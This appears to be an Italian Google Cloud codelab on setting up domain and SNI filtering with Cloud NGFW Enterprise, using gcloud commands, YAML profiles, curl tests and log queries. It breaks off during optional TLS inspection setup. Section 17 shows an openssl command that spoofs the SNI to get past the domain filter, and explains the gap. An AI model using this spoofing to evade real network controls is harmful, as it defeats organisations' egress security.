1. Introduzione
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall è un servizio firewall completamente distribuito con funzionalità di protezione avanzate, microsegmentazione e copertura pervasiva per proteggere i tuoi carichi di lavoro Google Cloud da attacchi interni ed esterni.
Cloud NGFW offre i seguenti vantaggi:
- Servizio firewall distribuito: Cloud NGFW fornisce un'applicazione stateful e completamente distribuita basata sull'host su ogni workload per abilitare l'architettura di sicurezza Zero Trust.
- Configurazione e deployment semplificati: Cloud NGFW implementa criteri firewall di rete e gerarchici che possono essere collegati a un nodo della gerarchia delle risorse. Queste policy forniscono un'esperienza firewall coerente nella gerarchia delle risorse Google Cloud.
- Controllo granulare e microsegmentazione: la combinazione di policy firewall e tag regolati da Identity and Access Management (IAM) offre un controllo preciso per il traffico nord-sud ed est-ovest fino a una singola VM, tra reti Virtual Private Cloud (VPC) e organizzazioni.
Cloud NGFW è disponibile nei seguenti livelli:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Gli oggetti FQDN standard di Cloud NGFW possono tradurre i nomi di dominio completi (FQDN) in indirizzi IP e poi applicare la regola all'elenco di indirizzi IP. Tuttavia, Cloud NGFW Enterprise con il filtro dei domini può portare l'ispezione un po' più avanti.
Cloud NGFW Enterprise
Cloud NGFW Enterprise offre attualmente il servizio di prevenzione delle intrusioni (IPS), una funzionalità di livello 7, al fabric Google Cloud Firewall distribuito.
Cloud NGFW Enterprise ora dispone del filtro per domini, che consente di controllare il traffico http(s) utilizzando i nomi di dominio anziché gli indirizzi IP.
Per il filtro SNI/dominio del traffico HTTPS, nell'ambito dell'handshake TLS, Client Hello è un'estensione che include l'indicazione del nome del server (SNI). L'SNI è un'estensione del protocollo TLS che invia il nome host che un client sta tentando di raggiungere. È qui che verrà convalidato il filtro.
Con il traffico HTTP, non è presente SNI, quindi per applicare il filtro verrà utilizzato solo il campo di intestazione Host HTTP.
Il filtro dei domini è configurato con un UrlFilteringProfile, un nuovo tipo di profilo di sicurezza. UrlFilteringProfile conterrà un elenco di UrlFilter, ognuno dei quali contiene un'azione, un elenco di stringhe di corrispondenza e una priorità univoca. Questa configurazione utilizza "Url" per la denominazione anziché "Domain" per facilitare la transizione al filtro degli URL completo quando sarà disponibile, anziché creare un nuovo tipo di profilo di sicurezza in futuro.
I profili di filtraggio degli URL includono un filtro degli URL implicito con priorità più bassa (2147483647) che nega tutte le connessioni che non corrispondono a un filtro degli URL con priorità più alta.
Cosa creerai
Questo codelab richiede un singolo progetto e la possibilità di creare una rete VPC, nonché di gestire una serie di risorse di rete e di sicurezza. Mostrerà come Cloud NGFW Enterprise può fornire il filtro SNI e del dominio con istruzioni facoltative per l'ispezione TLS.
Testeremo più scenari di regole di autorizzazione e negazione, incluso l'utilizzo di caratteri jolly.

Lo stato finale del rulebase del criterio firewall di rete sarà simile alla tabella seguente:
Priorità | Direzione | Target | Origine | Destinazione | Azione | Tipo |
200 | In entrata | TUTTO | IAP | Qualsiasi | Consenti | Essentials |
300 | In uscita | TUTTO | Qualsiasi | 0.0.0.0/0:80,443 | Ispezione L7 | Enterprise |
Cosa imparerai a fare
- Come creare una policy firewall di rete.
- Come configurare e utilizzare il filtro SNI/dominio di Cloud NGFW Enterprise.
- Come configurare la prevenzione delle minacce oltre al filtro di dominio/SNI.
- Come esaminare i log.
- [Facoltativo] Come abilitare l'ispezione TLS.
Che cosa ti serve
- Progetto Google Cloud.
- Conoscenza del deployment delle istanze e della configurazione dei componenti di rete.
- Conoscenza della configurazione del firewall delle policy di rete.
2. Prima di iniziare
Creare/aggiornare le variabili
Questo codelab utilizza le variabili $per facilitare l'implementazione della configurazione di gcloud in Cloud Shell.
In Cloud Shell, esegui i comandi riportati di seguito sostituendo le informazioni tra parentesi quadre in base alle esigenze:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. Abilita API
Se non l'hai ancora fatto, abilita le API:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Creazione dell'endpoint Cloud NGFW Enterprise
Poiché la creazione dell'endpoint Cloud NGFW Enterprise richiede circa 20 minuti, verrà creato per primo e la configurazione di base può essere eseguita in parallelo durante la creazione dell'endpoint.
Il filtro di dominio/SNI richiederà un endpoint firewall anche se non intendi utilizzare profili di prevenzione delle minacce.
Crea il profilo di sicurezza e il gruppo di profili di sicurezza:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Esegui il comando riportato di seguito per verificare che l'endpoint sia in fase di creazione (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Il processo di creazione richiede circa 20 minuti. Vai alla sezione Base Setup per creare le risorse richieste in parallelo.
5. Configurazione di base
Rete VPC e subnet
Rete VPC e subnet
Crea la rete VPC e la subnet:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crea l'indirizzo IP esterno, il router Cloud e il gateway Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Creazione dell'istanza
Crea l'istanza client:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Policy del firewall di rete globale
Crea una policy del firewall di rete globale:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Crea le regole Cloud Firewall Essential richieste per consentire il traffico dagli intervalli di Identity-Aware Proxy:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Associa i criteri firewall cloud alla rete VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Crea configurazioni di filtro SNI/dominio per Consenti
Successivamente, configureremo i domini da consentire e negare. Da Cloud Shell, crea il file YAML:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Crea un profilo di sicurezza importando la configurazione YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Output previsto:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
Per creare un gruppo di profili di sicurezza:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Verifica che il gruppo di protezione del servizio contenga il profilo di sicurezza:
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Output previsto:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Associazione degli endpoint firewall cloud
Definisci le variabili di ambiente se non l'hai ancora fatto e/o se preferisci l'approccio basato su script.
Verifica che la creazione dell'endpoint firewall cloud sia stata completata correttamente. Procedi solo quando lo stato è ACTIVE (durante la creazione, lo stato previsto è CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Associa l'endpoint Cloud Firewall alla rete VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
La procedura di associazione dura circa 10 minuti. Procedi alla sezione successiva solo quando lo stato è ATTIVO (durante la creazione, lo stato previsto è CREAZIONE):
gcloud network-security firewall-endpoint-associations list
Output previsto quando lo stato è completato:
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Crea regole firewall per il filtro di dominio/SNI
Google ha regole firewall implicite per il traffico in uscita. Se vogliamo applicare il filtro per dominio/SNI, dobbiamo definire esplicitamente una regola. La seguente regola invierà il traffico in uscita per le porte di destinazione 80 e 443 per l'ispezione da parte del nostro profilo di sicurezza.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Convalida regole di autorizzazione
Avvia una connessione SSH alla VM tramite IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Invia le richieste di esempio alla destinazione consentita:
curl https://www.example.com --max-time 2
Tieni presente che questa richiesta è stata eseguita correttamente grazie alla regola firewall "allow".
Proviamo con un paio di domini che non fanno parte dell'elenco.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Output previsto:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
Perché "example.com" non ha funzionato? Questo perché la configurazione del profilo di sicurezza includeva esplicitamente "www.example.com". Se volessimo consentire tutti i sottodomini di example.com, potremmo utilizzare un carattere jolly.
Anche le altre richieste non sono andate a buon fine. Ciò è dovuto al fatto che il gruppo di profili di sicurezza ha un valore di negazione predefinito con la priorità più bassa e solo www.example.com è consentito.
Esci dalla VM per tornare a Cloud Shell.
exit
10. Aggiorna la configurazione del filtro SNI/dominio per il carattere jolly
Diamo un'occhiata al file YAML e apportiamo alcuni aggiornamenti aggiuntivi per mostrare funzionalità aggiuntive, incluso il supporto dei caratteri jolly. Creeremo una regola che consente "*.com", che equivale a qualsiasi dominio che termina con .com. Nota: questa operazione sostituirà completamente i contenuti del file YAML originale creato nella sezione precedente.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Aggiorna il profilo di sicurezza con la nuova configurazione YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Convalida la configurazione del profilo di sicurezza:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Output previsto:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Convalida regola jolly
Verifichiamo se la regola con caratteri jolly è funzionale. Avvia una connessione SSH alla VM tramite IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Invia le richieste di esempio alle destinazioni consentite:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Tutte queste richieste dovrebbero essere andate a buon fine. Puoi provare qualsiasi altro dominio .com valido. Se ancora non vanno a buon fine, assicurati di aver atteso almeno 10 minuti e riprova.
Possiamo anche provare più sottodomini di ".com" e tutti dovrebbero avere esito positivo.
curl https://mail.google.com --max-time 2
Esci dalla VM per tornare a Cloud Shell.
exit
12. Aggiorna la configurazione del filtro SNI/dominio per il rifiuto
Abbiamo dimostrato che alla fine del profilo di sicurezza esiste una regola DENY implicita per * e abbiamo creato domini "consentiti" utilizzando filteringAction come "ALLOW". Vediamo come utilizzare filteringAction come "DENY". Le azioni DENY possono essere utili quando precedono un'azione ALLOW esplicita. Considera l'esempio seguente.
Aggiorneremo il nostro file YAML esistente per consentire *.com, ma negheremo specificamente l'accesso a determinati domini .com.
Modificheremo il file YAML per NEGARE *.github.com e *.google.com consentendo esplicitamente tutti gli altri *.com e mantenendo il rifiuto implicito predefinito. Tieni presente che la priorità delle eccezioni deve avere un numero di priorità inferiore: (1000 vs 2000) e (1500 vs 2000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Aggiorna il profilo di sicurezza con la nuova configurazione YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Convalida la configurazione del profilo di sicurezza:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Convalida regole di negazione
Verifichiamo se le regole DENY sono funzionali. Avvia una connessione SSH alla VM tramite IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Invia le richieste di esempio alle destinazioni rifiutate:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Queste due richieste avrebbero dovuto non andare a buon fine perché corrispondevano alla regola "DENY".
Invia alcune richieste aggiuntive:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Perché hanno funzionato? Queste regole hanno funzionato perché le regole DENY erano per ".github.com" e ".google.com". Le richieste a github.com e google.com non includono questo carattere jolly perché fanno riferimento ai sottodomini di github.com e google.com.
Le altre richieste ai domini .com dovrebbero andare a buon fine, con un rifiuto predefinito per gli altri domini. (.org, .net, .me, ...ecc.)
Esci dalla VM per tornare a Cloud Shell.
exit
14. Aggiorna la configurazione del filtro SNI/dominio per l'autorizzazione predefinita
Cosa succede se vuoi avere un comportamento ALLOW predefinito con regole di negazione esplicite? Aggiorneremo il file YAML per mostrare questo comportamento. Configureremo le regole DENY per tutti i domini .com o .net e consentiremo tutti gli altri.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Aggiorna il profilo di sicurezza con la nuova configurazione YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Convalida la configurazione del profilo di sicurezza:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Output previsto:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Tieni presente che il DENY implicito per * esiste ancora. Questa regola diventa irrilevante perché abbiamo configurato una regola predefinita con priorità più alta (valore più basso) con filteringAction impostato su ALLOW.
(2000000000 rispetto a 2147483647)
15. Convalida le regole di negazione con l'autorizzazione predefinita
Verifichiamo se le regole DENY sono funzionali insieme alla regola ALLOW predefinita. Avvia una connessione SSH alla VM tramite IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Invia le richieste di esempio alle destinazioni rifiutate:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Queste due richieste avrebbero dovuto non andare a buon fine perché corrispondevano alla regola "DENY". Qualsiasi richiesta .com o .net non dovrebbe andare a buon fine.
Invia alcune richieste che dovrebbero andare a buon fine (qualsiasi altro dominio di primo livello):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Queste richieste dovrebbero andare a buon fine perché viene applicata la regola di autorizzazione "predefinita" con priorità 2000000000.
16. Esplora i log per il filtro SNI/dominio
Vediamo come possiamo verificare se il traffico viene ispezionato dalla regola firewall per il filtro di dominio/SNI.
Nella console Google Cloud, vai a Esplora log e inserisci il seguente filtro:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
Il filtro precedente esamina la policy firewall che abbiamo creato denominata $prefix-fwpolicy e la priorità della regola 300, a cui è associato il gruppo di profili di sicurezza alla configurazione del filtro del dominio/SNI.

Come puoi vedere, la "disposizione" indica "INTERCEPTED", il che significa che il traffico è stato intercettato e inviato al nostro motore firewall per l'elaborazione.
Ora, per visualizzare i log di filtraggio effettivi di dominio/SNI, possiamo inserire il seguente filtro in Esplora log: (devi sostituire $project_id con il valore del tuo project_id)
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

Se espandiamo alcuni dettagli, possiamo vedere i seguenti dettagli in un esempio (sanitizzato):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
Il log di esempio riportato sopra mostra una richiesta a wikipedia.org che è stata CONSENTITA perché ha raggiunto la regola con priorità 2000000000, che era "*" con filterAction ALLOW. Ci sono altri dettagli, tra cui l'SNI.
Possiamo esaminare un log di esempio DENY:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Come possiamo vedere sopra, si tratta di una richiesta registrata quando una richiesta è stata rifiutata. La richiesta è stata inviata a www.php.net, che corrisponde alla regola 1500 nel profilo di sicurezza. Allo stesso modo, ha eseguito la corrispondenza con l'SNI per prendere la decisione.
17. Convalida delle regole in presenza di SNI Spoofing
Come accennato nell'introduzione, NGFW Enterprise può esaminare l'intestazione host HTTP per il traffico HTTP o l'SNI per il traffico criptato TLS. È possibile che i privati falsifichino l'SNI. Cosa succede se lo fanno?
Convalidiamo il comportamento. Avvia una connessione SSH alla VM tramite IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Esegui questo comando openssl per falsificare l'SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Nell'esempio precedente, si prevede che le richieste ai domini .com e .net vengano bloccate e che gli altri TLD vengano consentiti. Di seguito è riportato un esempio di risposta contraffatta. La richiesta viene inviata a www.google.com, che dovrebbe essere bloccato, ma invece di inviare un SNI di www.google.com, specifichiamo un SNI di ifconfig.me. Poiché il criterio esegue il controllo in base all'SNI, lo considererà un dominio "consentito" e lo lascerà passare. Abbiamo stabilito una connessione TLS a google.com.
.
Output previsto:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
È qui che l'ispezione TLS può contribuire a colmare questa lacuna.
Chiudi la connessione ed esci dalla VM:
"ctrl" + c exit
18. [Facoltativo] Ispezione TLS
Configurare le risorse TLS
Questa sezione è facoltativa, in quanto il filtro SNI/dominio funziona senza la necessità di ispezione TLS. Tuttavia, potresti voler eseguire l'ispezione TLS se prevedi di utilizzare la prevenzione delle minacce o in futuro, quando sarà disponibile il filtro URL completo, per poter creare regole basate sul percorso nel profilo di sicurezza.
Inoltre, l'ispezione TLS fornisce un ulteriore livello di controlli, poiché lo spoofing SNI è una possibilità.
Crea un pool di CA. Questa risorsa verrà utilizzata per ospitare il certificato CA principale che generiamo per NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Crea la CA radice. Questo è il certificato CA che verrà utilizzato per firmare certificati aggiuntivi per le richieste tramite NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Se viene visualizzato il messaggio riportato di seguito, rispondi y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Crea un account di servizio. Questo service account verrà utilizzato per richiedere certificati per NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Imposta le autorizzazioni IAM per il service account:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Crea il file YAML della policy TLS. Questo file conterrà informazioni sulle risorse specifiche:
